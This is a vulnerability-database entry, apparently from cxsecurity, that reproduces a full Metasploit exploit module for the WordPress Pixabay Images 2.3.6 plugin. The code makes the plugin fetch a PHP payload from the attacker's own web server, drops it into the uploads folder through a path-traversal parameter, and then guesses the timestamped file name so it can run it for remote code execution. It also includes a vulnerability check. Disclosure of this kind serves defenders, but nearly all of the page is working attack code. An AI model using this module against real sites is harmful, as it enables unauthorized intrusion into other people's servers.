WordPress Pixabay Images PHP Code Upload

2015.02.04
Credit: h0ng10
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient include Msf::HTTP::Wordpress Rank = ExcellentRanking def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress Pixabay Images PHP Code Upload', 'Description' => %q{ This module exploits multiple vulnerabilities in the Wordpress plugin Pixabay Images 2.3.6. The plugin does not check the host of a provided download URL which can be used to store and execute malicious PHP code on the system. }, 'Author' => [ 'h0ng10', # Discovery, Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-01.txt'], ['OSVDB', '117145'], ['OSVDB', '117146'], ['WPVDB', '7758'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [['pixabay-images 2.3', {}]], 'DefaultTarget' => 0, 'Payload' => { 'DisableNops' => true, }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DisclosureDate' => 'Jan 19 2015' )) register_options( [ OptInt.new('TRIES', [true, 'Number of guesses if initial name guess fails', 5]), OptInt.new('DEPTH', [true, 'Traversal path until the uploads folder', 4]) ], self.class) end # Handle incoming requests from the server def on_request_uri(cli, request) print_status("URI requested: #{request.raw_uri}") send_response(cli, payload.encoded) end # Create a custom URI def generate_payload_uri "#{get_uri}.php" end def call_payload(file_name) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', file_name) }, 3) res end def exploit unless wordpress_and_online? fail_with(Failure::NoTarget, "#{peer} - #{target_uri} does not seeem to be Wordpress site") end print_status("#{peer} - Starting up web service...") start_service payload_uri = generate_payload_uri vprint_status("#{peer} - Using URI #{payload_uri}") random_file_name = rand_text_alphanumeric(rand(5) + 5) post = { 'pixabay_upload' => rand_text_alphanumeric(rand(5) + 5), 'image_url' => payload_uri, 'image_user' => rand_text_alphanumeric(rand(5) + 5), 'q' => "#{'../' * datastore['DEPTH']}#{random_file_name}" } print_status("#{peer} - Uploading payload #{random_file_name}...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(wordpress_url_backend), 'vars_post' => post }) stop_service unless res && res.code == 200 && res.headers['date'] fail_with(Failure::Unknown, "#{peer} - Upload failed or unable to guess the system time...") end server_epoch_time = DateTime.strptime(res.headers['date'], '%a, %d %b %Y %H:%M:%S GMT').to_i print_status("#{peer} - Calling payload...") datastore['TRIES'].times do |i| payload_name = "#{random_file_name}_#{server_epoch_time + i}.php" res = call_payload(payload_name) if (res && res.code == 200) || session_created? register_files_for_cleanup(payload_name) break end end end def check res = wordpress_and_online? unless res vprint_error("#{peer} - It doesn't look like a Wordpress site") return Exploit::CheckCode::Unknown end # Send a request with a illegal URL to verify that the target is vulnerable post = { 'pixabay_upload' => rand_text_alphanumeric(rand(5) + 5), 'image_url' => rand_text_alphanumeric(rand(5) + 5), 'image_user' => rand_text_alphanumeric(rand(5) + 5), 'q' => rand_text_alphanumeric(rand(5) + 5) } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(wordpress_url_backend), 'vars_post' => post }) if res && res.body && res.body.to_s =~ /Error: A valid URL was not provided/ return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end end

References:

https://www.mogwaisecurity.de/advisories/MSA-2015-01.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top